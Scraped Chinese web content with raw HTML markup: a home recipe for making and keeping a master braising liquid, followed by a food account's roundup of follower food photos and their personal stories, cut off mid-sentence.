&img src=&/v2-11d1fc0bca17d0cd04087e_b.jpg& data-rawwidth=&3768& data-rawheight=&3192& class=&origin_image zh-lightbox-thumb& width=&3768& data-original=&/v2-11d1fc0bca17d0cd04087e_r.jpg&&&p&另外，准备&b&50毫升上乘的酱油。&/b&&/p&&img src=&/v2-d338c6a942ee91cfb5e7_b.jpg& data-rawwidth=&3189& data-rawheight=&2627& class=&origin_image zh-lightbox-thumb& width=&3189& data-original=&/v2-d338c6a942ee91cfb5e7_r.jpg&&&p&&b&小茴香，&/b&基础调料。所有卤料和一般炖肉均用到小茴香，亲和力高，百搭。一来可去肉腥，二来可重新添香，味道比八角淡，多加一些。&/p&&img src=&/v2-4a5b0f37b19fd2c79163_b.jpg& data-rawwidth=&3192& data-rawheight=&2796& class=&origin_image zh-lightbox-thumb& width=&3192& data-original=&/v2-4a5b0f37b19fd2c79163_r.jpg&&&p&&b&草果，&/b&有辛香。和牛羊肉是绝配，特别是羊肉，炖汤的时候加入很鲜美。卤味我不怎么做羊肉，卤牛肉可多加一颗草果。&/p&&img src=&/v2-92232afee5f0ccd827ff610edf6d3216_b.jpg& data-rawwidth=&1739& data-rawheight=&954& class=&origin_image zh-lightbox-thumb& width=&1739& data-original=&/v2-92232afee5f0ccd827ff610edf6d3216_r.jpg&&&p&&b&香果(左)，&/b&微苦，有辣味。香果是未去皮的肉豆蔻，味道浓烈，加一颗即可。&/p&&img src=&/v2-9fcec0d3e6e048cc2fdfb_b.jpg& data-rawwidth=&1964& data-rawheight=&1112& class=&origin_image zh-lightbox-thumb& width=&1964& data-original=&/v2-9fcec0d3e6e048cc2fdfb_r.jpg&&&p&&b&肉豆蔻(右)&/b&，有甜香，喜油腻。炖鸭肉或猪肉的时候可多加一颗，潮汕卤里也多有肉豆蔻。&/p&
&p&&b&山栀，&/b&染色明显。有和番红花一样的染色能力，但价格便宜，味清凉略苦。&/p&&img src=&/v2-cf77d2bba76db0bf448709_b.jpg& data-rawwidth=&1649& data-rawheight=&1094& class=&origin_image zh-lightbox-thumb& width=&1649& data-original=&/v2-cf77d2bba76db0bf448709_r.jpg&&&p&&b&川砂仁，&/b&姜科，有类似于樟木的香味。川卤里必用的调料，微辣。&/p&&img src=&/v2-a5a1f46dc9dd65a5698624_b.jpg& data-rawwidth=&1720& data-rawheight=&987& class=&origin_image zh-lightbox-thumb& width=&1720& data-original=&/v2-a5a1f46dc9dd65a5698624_r.jpg&&&p&&b&八角，&/b&味重，三颗足够。&/p&&img src=&/v2-dad614e355a7_b.jpg& data-rawwidth=&1849& data-rawheight=&1229& class=&origin_image zh-lightbox-thumb& width=&1849& data-original=&/v2-dad614e355a7_r.jpg&&&p&&b&桂皮，&/b&芳香偏甜，去腥一绝。&/p&&img src=&/v2-1ace3e77dfaefda5113242_b.jpg& data-rawwidth=&1980& data-rawheight=&1132& class=&origin_image zh-lightbox-thumb& width=&1980& data-original=&/v2-1ace3e77dfaefda5113242_r.jpg&&&p&&b&山奈，&/b&也叫沙姜。属辛辣味调料，跟干姜片明显的区别在于肉质细密一些。&/p&&img src=&/v2-bde4e9b52297_b.jpg& data-rawwidth=&1599& data-rawheight=&977& class=&origin_image zh-lightbox-thumb& width=&1599& data-original=&/v2-bde4e9b52297_r.jpg&&&p&&b&白蔻，&/b&炖肉用香料，相对其他豆蔻类味道温和，亲和力也高，可多加。&/p&&img src=&/v2-8ad1eb8fdeb86d9af3288_b.jpg& data-rawwidth=&1305& data-rawheight=&843& class=&origin_image zh-lightbox-thumb& width=&1305& data-original=&/v2-8ad1eb8fdeb86d9af3288_r.jpg&&&p&&b&甘草，&/b&有甘甜味，在各类卤水中均有使用。一来可以增甜提鲜，二来也有防腐作用。&/p&&img src=&/v2-f8f8d87f4d938da10b56c70d1f04c1b4_b.jpg& data-rawwidth=&1536& data-rawheight=&930& class=&origin_image zh-lightbox-thumb& width=&1536& data-original=&/v2-f8f8d87f4d938da10b56c70d1f04c1b4_r.jpg&&&p&&b&丁香，&/b&有异香。卤味有言，若想骨里香，就得放丁香。丁香味浓且烈，又不容易散，三升水最多加三粒。&/p&&img src=&/v2-9d1c6ffdfa6abb2bb391d90_b.jpg& data-rawwidth=&1115& data-rawheight=&659& class=&origin_image zh-lightbox-thumb& width=&1115& data-original=&/v2-9d1c6ffdfa6abb2bb391d90_r.jpg&&&p&&b&干姜片，&/b&去腥。&/p&&img src=&/v2-f8dbab773debd2a6ddd37fa098b8915a_b.jpg& data-rawwidth=&2127& data-rawheight=&1337& class=&origin_image zh-lightbox-thumb& width=&2127& data-original=&/v2-f8dbab773debd2a6ddd37fa098b8915a_r.jpg&&&p&&b&陈皮，&/b&作用奇特。可以中和浓烈刺激的味道，比如肉蔻草果煮出太浓的肉味，丁香的异香。同时也有不错的提鲜作用，特别是卤鸡的时候。&/p&&img src=&/v2-01ec209d52e8fdb71fabd7_b.jpg& data-rawwidth=&2286& data-rawheight=&1271& class=&origin_image zh-lightbox-thumb& width=&2286& data-original=&/v2-01ec209d52e8fdb71fabd7_r.jpg&&&p&&b&香叶，&/b&芳香类调料，味道易散，可稍微多加一些。&/p&&img src=&/v2-a65d48ea39e_b.jpg& data-rawwidth=&3684& data-rawheight=&2832& class=&origin_image zh-lightbox-thumb& width=&3684& data-original=&/v2-a65d48ea39e_r.jpg&&&p&&b&黄冰糖，&/b&中和咸味和提鲜。&/p&
&p&&b&红曲米，&/b&添加红色。&/p&&img src=&/v2-b873eac635cd236f7bef08694ab5bfb1_b.jpg& data-rawwidth=&3228& data-rawheight=&2436& class=&origin_image zh-lightbox-thumb& width=&3228& data-original=&/v2-b873eac635cd236f7bef08694ab5bfb1_r.jpg&&&p&&b&矿盐，&/b&也可用井盐或海盐，建议始终用一种盐和糖。&/p&&img src=&/v2-d2fb32489b8babb883614_b.jpg& data-rawwidth=&3764& data-rawheight=&2269& class=&origin_image zh-lightbox-thumb& width=&3764& data-original=&/v2-d2fb32489b8babb883614_r.jpg&&&p&再就是酱油，用好一些的。我不主张拿老抽上色，而是取生抽的鲜美。头次别加太多，之后可每次按需添加。&/p&
&p&这是一新加坡牌，稍甜，鲜味一绝。&/p&&img src=&/v2-25eb4ba8_b.jpg& data-rawwidth=&3216& data-rawheight=&2592& class=&origin_image zh-lightbox-thumb& width=&3216& data-original=&/v2-25eb4ba8_r.jpg&&&p&再准备一炖汤包，装卤料用。&/p&&img src=&/v2-537e4ff42b5_b.jpg& data-rawwidth=&2982& data-rawheight=&2486& class=&origin_image zh-lightbox-thumb& width=&2982& data-original=&/v2-537e4ff42b5_r.jpg&&&p&然后平底锅上灶，中火加热到一百度上下，放入香料，干煎半分钟左右，将香味烘出来。&/p&&img src=&/v2-987b55dd4c6abe2d14dd47b_b.jpg& data-rawwidth=&2951& data-rawheight=&2372& class=&origin_image zh-lightbox-thumb& width=&2951& data-original=&/v2-987b55dd4c6abe2d14dd47b_r.jpg&&&p&把香料装到纱布包中，扎口。&/p&&img src=&/v2-b6fe15bb7255edc27005eb_b.jpg& data-rawwidth=&2641& data-rawheight=&1764& class=&origin_image zh-lightbox-thumb& width=&2641& data-original=&/v2-b6fe15bb7255edc27005eb_r.jpg&&&br&&p&接着，看一下准备的食材，&b&五花肉一斤，三黄鸡一只，大葱一根切五截，姜五厚片。&/b&&/p&&img src=&/v2-26fcb60fcd_b.jpg& data-rawwidth=&3794& data-rawheight=&2707& class=&origin_image zh-lightbox-thumb& width=&3794& data-original=&/v2-26fcb60fcd_r.jpg&&&p&头次熬卤汤，取五花肉的香和鸡肉的鲜，融合各味药料，得小火煨三小时以上。肉一定得新鲜，若能买到老母鸡的话，可以代替小三黄鸡。&/p&
&p&也有人主张用牛骨或猪骨熬，煮出的卤稍浓，之后再卤一些淡口的禽类可能有影响。&/p&
&p&鸡肉五花肉和葱姜放入炖锅，加大量水。&/p&&img src=&/v2-aaaabfdae04167afc65dca_b.jpg& data-rawwidth=&4032& data-rawheight=&2820& class=&origin_image zh-lightbox-thumb& width=&4032& data-original=&/v2-aaaabfdae04167afc65dca_r.jpg&&&br&&p&&b&炖锅上灶，开中火偏小，煮到沸腾后转小火，继续煮三分钟左右。&/b&&/p&&img src=&/v2-a635ce64eb466efb3fc08fc1dba87abf_b.jpg& data-rawwidth=&3024& data-rawheight=&2824& class=&origin_image zh-lightbox-thumb& width=&3024& data-original=&/v2-a635ce64eb466efb3fc08fc1dba87abf_r.jpg&&&p&&b&鸡肉和五花肉捞出，用温水清洗干净。&/b&&/p&
&p&&b&卤料包放清水中浸湿，再清理炖锅。&/b&&/p&
&p&&b&炖锅倒三升纯净水，放入冰糖和卤料包，开中火煮沸。&/b&&/p&&img src=&/v2-1fabd7c21078b20_b.jpg& data-rawwidth=&3024& data-rawheight=&2936& class=&origin_image zh-lightbox-thumb& width=&3024& data-original=&/v2-1fabd7c21078b20_r.jpg&&&p&&b&沸腾后分次倒入矿盐和生抽，拿小勺尝一尝咸淡，然后盖盖小火煮十五分钟出味。&/b&&/p&&img src=&/v2-edfffcadd3fadd25f11b808d_b.jpg& data-rawwidth=&2879& data-rawheight=&2800& class=&origin_image zh-lightbox-thumb& width=&2879& data-original=&/v2-edfffcadd3fadd25f11b808d_r.jpg&&&p&&b&到时间后，放入洗干净的鸡和五花肉，再次沸腾后转小火，盖盖。&/b&&/p&&img src=&/v2-298b2ff78fb0fd2b6179_b.jpg& data-rawwidth=&3024& data-rawheight=&3024& class=&origin_image zh-lightbox-thumb& width=&3024& data-original=&/v2-298b2ff78fb0fd2b6179_r.jpg&&&p&&b&小火熬煮三小时以上，&/b&期间该干什么干什么去咯。&/p&
&p&&b&三小时后揭盖，&/b&第一次色泽偏红偏淡，以后不断使用，汤色慢慢加深。&/p&&img src=&/v2-9c6ddf86661fae2b42fa82bdefcdbd05_b.jpg& data-rawwidth=&3024& data-rawheight=&2904& class=&origin_image zh-lightbox-thumb& width=&3024& data-original=&/v2-9c6ddf86661fae2b42fa82bdefcdbd05_r.jpg&&&p&关于糖色和老抽，我不建议用。糖色炒太老，容易有苦味，毁掉卤水，老抽也是为取其焦糖色，上色作用大于调味。若不是商用，不必加。&/p&
&p&捞出鸡和五花肉，因为熬煮时间太长，五花肉太烂，鸡肉太柴。可以丢掉，也可以凑合吃一吃。&/p&&h2&&b&之后我会更怎么卤鸡鸭之类的食材，包括很多人留言的卤猪肘。一般卤一只鸡熬煮时间得控制在十五分钟到二十分钟，但冷卤六小时以上才行。不同的食材方法也各不相同，比如牛肉得提前拿花椒黄酒和盐腌三小时，焯水后煨两小时以上；猪大肠和豆制品一定得分开卤，大肠让卤水发臭，豆干或炸豆腐让卤水发酸，卤一次倒一次。每次加的药料，也需要根据卤水状态调整。之后有很长很长时间写很多很多食材呢，可关注着。&/b&&/h2&&br&&p&五花肉切开，浇醋蒜汁下饭。&/p&&img src=&/v2-9dfe46f808_b.jpg& data-rawwidth=&3468& data-rawheight=&2753& class=&origin_image zh-lightbox-thumb& width=&3468& data-original=&/v2-9dfe46f808_r.jpg&&&p&鸡肉也可以拆着吃，鸡胸和鸡爪等已经太柴或太烂的地方丢掉。&/p&&img src=&/v2-6af839e673a384c3dbab5fbd_b.jpg& data-rawwidth=&3777& data-rawheight=&2639& class=&origin_image zh-lightbox-thumb& width=&3777& data-original=&/v2-6af839e673a384c3dbab5fbd_r.jpg&&&p&得到的一锅卤水，可以正常使用咯。&b&用细滤网把卤水过滤两遍，再倒入炖锅，开中火煮沸。&/b&&/p&
&p&保持煮沸三分钟左右，关火，晾凉。&/p&
&p&&b&卤水倒入一大的食品盒，盖盖密封，放冰箱冷藏。&/b&&/p&&img src=&/v2-d0e07db6d72cffa843c54a62d14505e1_b.jpg& data-rawwidth=&3780& data-rawheight=&2496& class=&origin_image zh-lightbox-thumb& width=&3780& data-original=&/v2-d0e07db6d72cffa843c54a62d14505e1_r.jpg&&&br&&p&卤水在第二第三次使用后冷藏会变成果冻状，也更不容易变质，务必三到五天煮开一次。若长时间不用的话移入冷冻，使用前一晚放冷藏解冻，拿出来倒入炖锅煮开后再用。头三次的卤水各类药味比较明显，等到五六次的时候，已经融合的不错，用半年的卤水，调整得当，可以媲美一般的卤味店。&/p&&img src=&/v2-2f3d21fb0bbe2a90be7d3f392fefa830_b.jpg& data-rawwidth=&3312& data-rawheight=&2412& class=&origin_image zh-lightbox-thumb& width=&3312& data-original=&/v2-2f3d21fb0bbe2a90be7d3f392fefa830_r.jpg&&&p&有人讲，在家养卤水特别麻烦，费时费力，还不如到餐馆吃一顿方便。而我的意思，恰是有一样东西留在家中，让人一直惦念着，在自己悉心料理下愈加美味，未尝不是一件温暖的事儿。&/p&
&p&&b&又得回家咯，因为有一锅卤水等着我呢，不想让它坏掉。&/b&&/p&
前些天老跑外地，冰箱里一锅养半年多的卤水忘移到冷冻，酸掉咯。于是重新煮一锅，顺便更食谱。 不管住在哪，习惯养一锅卤，让生活多一丝温暖。卤两斤牛肉，切成片下酒。卤一盆鸡爪，熬夜的时候啃。馋咯，卤两条鸭腿，或三只猪脚，一块鹅胸。再忙，也可丢两…
&img src=&/v2-d98e4afb483d600b4567_b.png& data-rawwidth=&900& data-rawheight=&500& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-d98e4afb483d600b4567_r.png&&&img src=&/v2-8b0b0fd20b8607dcd9420226afeb146d_b.png& data-rawwidth=&701& data-rawheight=&152& class=&origin_image zh-lightbox-thumb& width=&701& data-original=&/v2-8b0b0fd20b8607dcd9420226afeb146d_r.png&&&p&这个世界变化快。很多事物，一眨眼就被替换更新了。&/p&&p&可有些东西，似乎就是能跳脱这种命运。&/p&&p&比如，有些老歌，从儿时的磁带、到后来的CD、MP3，再到如今手机里各种音乐APP，听歌工具换了几代，但每换一次，第一件事就是把这些歌找齐——一直听着，不换。&/p&&p&比如，有些照片，你不嫌麻烦地从最老的数码相机导入电脑，从旧电脑导到新电脑，从旧手机存到新手机，还存了N个备份生怕丢失——一直留着，不删。&/p&&p&之前向粉丝们征集那张&strong&#久久舍不得删的食物照片#&/strong&，没想到反响非常热烈。局座不会告诉你们，看着你们的照片，读着那些照片背后的故事，有好几次老泪纵横.....&/p&&br&&p&&strong&#久久舍不得删的食物照片#&/strong&&/p&&p&&strong&之&/strong&&/p&&p&&strong&啊，青春&/strong&&/p&&p&&strong&@秣陵舟晚&/strong&&/p&&p&去年四月初拍的，当时高三最后阶段，差不多倒计时六十多天，不知道为什么有点“死猪不怕开水烫，考试越近我越浪”，开始做起了午餐便当，每天刷完作业，就念叨着古诗文在厨房叮叮当当。第二天会和叫外卖的同学一起在教室吃午饭。现在尘埃落定，我却明白那些怀念高中的话语句句恳切。&/p&&img src=&/v2-7ecfbecbf_b.jpg& data-rawwidth=&900& data-rawheight=&900& data-thumbnail=&/v2-7ecfbecbf_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-7ecfbecbf_r.gif&&&p&&strong&局座点评：&/strong&无情岁月增中减，有味诗书苦也甜。又一年的高考快来了，学子们加油啊！&/p&&p&&strong&@高声远&/strong&&/p&&p&我们有个惯例，每年开工饭都是大家一起吃一顿火锅，新的一年红红火火。这种照片是2017年春节假期之后的开工第一天拍的，是开工饭。不管每年team的人走了来了，这个惯例一直没变，看到这张照片就觉得很温暖。&/p&&img src=&/v2-bbc2a985b7cfc8412ffb1_b.jpg& data-rawwidth=&900& data-rawheight=&675& data-thumbnail=&/v2-bbc2a985b7cfc8412ffb1_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-bbc2a985b7cfc8412ffb1_r.gif&&&p&&strong&局座点评：&/strong&奋斗的同时也收获了一帮志同道合的吃货。PS：明年开工饭，能叫上局座么？&/p&&p&&strong&@A Dirge&/strong&&/p&&p&和爱人一起，通吃才是美食。&/p&&img src=&/v2-c7b5fb02fcd361c06bdb_b.jpg& data-rawwidth=&900& data-rawheight=&600& data-thumbnail=&/v2-c7b5fb02fcd361c06bdb_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-c7b5fb02fcd361c06bdb_r.gif&&&p&&strong&局座点评：&/strong&吃着狗粮想问，螃蟹香吗？ &/p&&p&&strong&@Marina Banana&/strong&&/p&&p&闺蜜叹：他还是选择了她……我答：那就让他去死，这顿算我的！&/p&&img src=&/v2-c2df6e69319c_b.jpg& data-rawwidth=&900& data-rawheight=&900& data-thumbnail=&/v2-c2df6e69319c_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-c2df6e69319c_r.gif&&&p&&strong&局座点评：&/strong&中国好闺蜜~有什么情伤是一顿brunch治愈不了的，那就再来一顿晚餐。&/p&&p&&strong&@阿发&/strong&&/p&&p&去闺蜜家跨年吃到的小兔子蛋糕，萌到根本不忍心动手啊啊啊啊啊。&/p&&img src=&/v2-e1cefcbbcda_b.jpg& data-rawwidth=&900& data-rawheight=&900& data-thumbnail=&/v2-e1cefcbbcda_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-e1cefcbbcda_r.gif&&&p&&strong&局座点评：&/strong&真的很萌啊！！....所以，你最后动手了没？！&/p&&p&&strong&#久久舍不得删的食物照片#&/strong&&/p&&p&&strong&之&/strong&&/p&&p&&strong&心里有个地方，叫家&/strong&&/p&&p&&strong&@Leah_hhh&/strong&&/p&&p&因为我的一句话便有了这份跨越400公里的早餐，爸爸把卤粉递给我，我就后悔了。&/p&&img src=&/v2-ddd62f4ac6efadde_b.jpg& data-rawwidth=&900& data-rawheight=&900& data-thumbnail=&/v2-ddd62f4ac6efadde_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-ddd62f4ac6efadde_r.gif&&&p&&strong&局座点评：&/strong&父爱总无言。&/p&&p&&strong&@小王同学&/strong&&/p&&p&大一寒假回家吃的第一顿饭，也是离开家几个月后吃到的第一个家乡菜&/p&&img src=&/v2-1ccf122213fdb51b0e573e_b.jpg& data-rawwidth=&900& data-rawheight=&656& data-thumbnail=&/v2-1ccf122213fdb51b0e573e_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-1ccf122213fdb51b0e573e_r.gif&&&p&&strong&局座点评：&/strong&研究半天，也没看出这是个什么菜&你家乡是哪里的....&/p&&p&&strong&@左小包是Daisy&/strong&&/p&&p&泡泡纱小馄饨是我每年必去一次苏州的原因，看似简单朴实的一碗，却再也不似童年那样，随处可见。与其说是去寻找美食，更大的意义是为了寻回更多儿时的回忆吧。&/p&&img src=&/v2-48ded2e455c6b3355465_b.jpg& data-rawwidth=&900& data-rawheight=&862& data-thumbnail=&/v2-48ded2e455c6b3355465_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-48ded2e455c6b3355465_r.gif&&&p&&strong&局座点评：&/strong&苏州哪里啊快告诉局座！我正在买火车票。&/p&&p&&strong&@李大王&/strong&&/p&&p&这个蛋糕是我16岁的生日蛋糕，这个生日是我妈陪我过得最后一个生日。蛋糕是她选的，我妈呢那段时间因为放疗化疗的原因几乎吃不了东西，水都不怎么能喝，但是因为那天我生日，那天的中午她特意让我推轮椅出去吃了火锅。她吃了一点，结果下午就开始吐，晚上亲戚一起吃饭也没能赶上，但我记得那天她特别特别开心。生日过了之后半个月她就走了。怎么说呢，这个蛋糕可能我这辈子再也不想吃了吧。不是食鉴局的活动我估计这张照片会烂在我的相册里，不说了哭去了88。&/p&&img src=&/v2-8d3f14d2ba09_b.jpg& data-rawwidth=&720& data-rawheight=&1052& data-thumbnail=&/v2-8d3f14d2ba09_b.jpg& class=&origin_image zh-lightbox-thumb& width=&720& data-original=&/v2-8d3f14d2ba09_r.gif&&&p&&strong&局座点评：&/strong&不说了，摸摸~加油~&/p&&p&&strong&@ 呢呢&/strong&&/p&&p&感觉有点不要脸[捂脸]其实这张上的cupcake是我自己做的。去年是第一次离开家这么久，来到完全陌生的魔都上学。能感觉到老妈很担心我，就像过去的十几年一样，哪怕我不在她身边，她对我的担心和关心一直也不会因此减少。因为我平时也是手残党，所以几乎不会做饭，这次寒假回家的时候就亲手给她做了这些当礼物，居然还蛮好吃的以后应该会尝试更多吧，多给她做东西吃～&/p&&img src=&/v2-60f38dec198_b.jpg& data-rawwidth=&900& data-rawheight=&900& data-thumbnail=&/v2-60f38dec198_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-60f38dec198_r.gif&&&p&&strong&局座点评：&/strong&哪里手残党了？明明是心灵手巧的女儿一个。&/p&&p&&strong&@麺小姐100&/strong&&/p&&p&这其实是一系列的照片，共有40几张，也是我手机里仅有的美食照了，这里选了9张，是我女儿在八个月到一岁左右从米粉过度到粥的辅食，每天都会变着花样给她做，因为觉得这段时间很值得怀念，所以每天都会把成果拍成美美的图片，希望小朋友长大后能看到麻麻曾经给她做过这么多好吃的！&/p&&img src=&/v2-dbb9df0970aeb451257ad_b.jpg& data-rawwidth=&900& data-rawheight=&1662& data-thumbnail=&/v2-dbb9df0970aeb451257ad_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-dbb9df0970aeb451257ad_r.gif&&&p&&strong&局座点评：&/strong&世上只有妈妈好，你家还缺儿子吗？&/p&&p&&strong&#久久舍不得删的食物照片#&/strong&&/p&&p&&strong&之&/strong&&/p&&p&&strong&生活里的小确幸&/strong&&/p&&br&&p&“小确幸”，微小而确实的幸福，是稍纵即逝的美好，每一枚小确幸持续的时间3秒至一整天不等——BY村上春树。&/p&&p&&strong&@星星熊&/strong&&/p&&p&这是我们可爱的荷包蛋一岁生日蛋糕，希望它能尽快找到女朋友生个狗儿子。&/p&&img src=&/v2-e006dc74bf7b487c2c463f272764eff3_b.jpg& data-rawwidth=&900& data-rawheight=&900& data-thumbnail=&/v2-e006dc74bf7b487c2c463f272764eff3_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-e006dc74bf7b487c2c463f272764eff3_r.gif&&&p&&strong&局座点评：&/strong&人不如狗系列——局座过生日毛都木有.....&/p&&p&&strong&@全集 Naomi （生活情趣）&/strong&&/p&&p&お花見弁当です！&/p&&p&鬼知道摆盘手残星人为了下午去看樱花，凌晨起来做便当都经历了些什么……&/p&&img src=&/v2-42c9e9a29f78aa0bcf0b2d0446ccc622_b.jpg& data-rawwidth=&900& data-rawheight=&900& data-thumbnail=&/v2-42c9e9a29f78aa0bcf0b2d0446ccc622_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-42c9e9a29f78aa0bcf0b2d0446ccc622_r.gif&&&p&&strong&局座点评：&/strong&这样也说自己是手残星人，你的良心不会痛吗？！局座该叫自己“手没星人”了……&/p&&p&&strong&@桃酱&/strong&&/p&&p&第一次尝试霜糖饼干 这枚是历经了无数个状入不可描述（juhua）的失败品才做出来的比心～～&/p&&img src=&/v2-a3d80ee45fa50124bb55abe8e57a96d2_b.jpg& data-rawwidth=&900& data-rawheight=&850& data-thumbnail=&/v2-a3d80ee45fa50124bb55abe8e57a96d2_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-a3d80ee45fa50124bb55abe8e57a96d2_r.gif&&&p&&strong&局座点评：&/strong&更好奇那些状如juhua的长啥样....&/p&&p&&strong&@Agree&/strong& &/p&&p&亲手做的 倍感亲切 味道也好&/p&&img src=&/v2-633d8a315be24cadfaf4e7ccb4065b99_b.jpg& data-rawwidth=&900& data-rawheight=&598& data-thumbnail=&/v2-633d8a315be24cadfaf4e7ccb4065b99_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-633d8a315be24cadfaf4e7ccb4065b99_r.gif&&&p&&strong&局座点评：&/strong& 隔着屏幕都能感觉到甜甜的香气。&/p&&p&&strong&@鱼会飞C.C.&/strong&&/p&&p&自己第一次做的菠萝炒饭，去外面餐厅听厨师讲解后，花费心思和时间自制的，味道和色面都还算上照吧，就是炒饭的锅比较大，举起来有些吃力，哈哈。&/p&&img src=&/v2-105d184e6cff310bcd7a28_b.jpg& data-rawwidth=&900& data-rawheight=&675& data-thumbnail=&/v2-105d184e6cff310bcd7a28_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-105d184e6cff310bcd7a28_r.gif&&&p&&strong&局座点评：&/strong&最讨厌你们这种“第一次做”就做得这么好的人了。&/p&&p&&strong&@云艺唐&/strong&&/p&&p&为什么舍不得删，因为这盘十五斤的小龙虾是我抽奖抽到的。&/p&&img src=&/v2-f6c33b0ce315b8ab8a16f_b.jpg& data-rawwidth=&720& data-rawheight=&584& data-thumbnail=&/v2-f6c33b0ce315b8ab8a16f_b.jpg& class=&origin_image zh-lightbox-thumb& width=&720& data-original=&/v2-f6c33b0ce315b8ab8a16f_r.gif&&&p&&strong&局座点评：&/strong&这手气也是没sei了，只有一个大写的“服”！年会抽奖能带上你吗？&/p&&p&&strong&#久久舍不得删的食物照片#&/strong&&/p&&p&&strong&之&/strong&&/p&&p&&strong&世界那么大，我想吃吃看&/strong&&/p&&p&&strong&@Ching Vivian &/strong&&/p&&p&这张美食照片我久久舍不得删，因为那可是一整张金箔呐！&/p&&img src=&/v2-9aafd7efa7efacc0adcf6ead60f9b804_b.jpg& data-rawwidth=&900& data-rawheight=&1063& data-thumbnail=&/v2-9aafd7efa7efacc0adcf6ead60f9b804_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-9aafd7efa7efacc0adcf6ead60f9b804_r.gif&&&p&&strong&局座点评：&/strong&亮瞎24K铝合金制的眼....以及，好吃吗？&/p&&p&&strong&@LoRD-Charlie&/strong&&/p&&p&啤酒菊花鸡！&/p&&img src=&/v2-af9eef370f_b.jpg& data-rawwidth=&900& data-rawheight=&600& data-thumbnail=&/v2-af9eef370f_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-af9eef370f_r.gif&&&p&&strong&局座点评：&/strong&这鸡我局也烤过哎，一模一样~贼好吃。&/p&&p&&strong&@猪小豆&/strong&&/p&&p&这个在西班牙获过奖的蛋是整餐的重头戏。乍看之下的普通鸡蛋，其实敲开白巧克力做的蛋壳，中间是椰子冻做的蛋白和芒果酱做的蛋黄。足以以假乱真的造型和像极了蛋白口感的椰子冻，嫩滑又有弹性那叫一个逼真。这道新意满满的甜点，堪称整顿晚餐的小高潮。喜欢描述口感细节的我在甜点的时候只能用“词穷”来形容当时的感受。天赋大厨＋优质食材，打得一手好牌。如今，Fine Dining越来越无趣了，食客也越来越挑剔，吃出新意才能留住吃心呐。&/p&&img src=&/v2-52f2bd616dff8d30c671_b.jpg& data-rawwidth=&900& data-rawheight=&629& data-thumbnail=&/v2-52f2bd616dff8d30c671_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-52f2bd616dff8d30c671_r.gif&&&p&&strong&局座点评：&/strong&你词穷了，我也词穷了…相当好奇词穷的味道是如何的。&/p&&p&&strong&@卡樂芙&/strong&&/p&&p&这盒小王子巧克力是日本的airbnb房东拿出来和我们一起分享的。她叫真纪子，和她先生、还有一只可爱的猫咪 小黑酱住在东京新宿区，在airbnb上当房主已经快两年了。真纪子特别喜欢交朋友，而且也很少女心，她老公也全心支持她经营民宿。虽然都老夫老妻了俩人基本形影不离。这盒巧克力是我们入住前两天情人节买的，是真纪子最爱的小王子。他们情人节当天没有拆开食用，决定等碰到他们喜欢的客人一起分享。然后当听到他们这番解释，我和闺蜜都受宠若惊，超级感动 现在回国了，每每想起在真纪子家感受到的温暖便很怀念～&/p&&img src=&/v2-cd7d1c4a8fe61cbf2ed78a62b8f1e4e3_b.jpg& data-rawwidth=&900& data-rawheight=&600& data-thumbnail=&/v2-cd7d1c4a8fe61cbf2ed78a62b8f1e4e3_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-cd7d1c4a8fe61cbf2ed78a62b8f1e4e3_r.gif&&&p&&strong&局座点评：&/strong&看不同的景，遇见不同的人，也许这便是旅行的意义之一吧。&/p&&p&&strong&@Chiara&/strong&&/p&&p&越南芽庄招牌海鲜Mixmix 一盘菜就够。&/p&&img src=&/v2-9fea158c977a9cb7a01a_b.jpg& data-rawwidth=&900& data-rawheight=&1200& data-thumbnail=&/v2-9fea158c977a9cb7a01a_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-9fea158c977a9cb7a01a_r.gif&&&p&&strong&局座点评：&/strong&一盘哪够！请给局座来10盘！&/p&&p&&strong&@杨雨辰&/strong&&/p&&p&这张照片是在Dinner by Heston Blumenthal吃午饭时拍的，坐在海德公园旁边，同时享受好天气和美食是难得的事了。这道菜是我在伦敦喜爱的菜之一。这是一道前菜，鸡肝酱外包裹着晶莹的桔子果冻皮，配着烤过的香脆可口的法棍，品尝起来鲜咸丝滑，吃完一整块面包也不觉得腻。我吃了三块。&/p&&img src=&/v2-f9aacde085f8_b.jpg& data-rawwidth=&900& data-rawheight=&1194& data-thumbnail=&/v2-f9aacde085f8_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-f9aacde085f8_r.gif&&&p&&strong&局座点评：&/strong&腐国也是有好吃的，但都不是腐国菜。&/p&&p&&strong&#久久舍不得删的食物照片#&/strong&&/p&&p&&strong&之&/strong&&/p&&p&&strong&居然是我局&/strong&&/p&&p&&strong&@ZaraZala&/strong&&/p&&p&这是去年食鉴局市集活动时候拍的照片，看到山楂胃口又开了。&/p&&img src=&/v2-3baa1b9cbc698faea8b2ad0bbab71de7_b.jpg& data-rawwidth=&900& data-rawheight=&866& data-thumbnail=&/v2-3baa1b9cbc698faea8b2ad0bbab71de7_b.jpg& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-3baa1b9cbc698faea8b2ad0bbab71de7_r.gif&&&p&&strong&局座点评：&/strong&我局探员沦为“糖葫芦作坊小工” 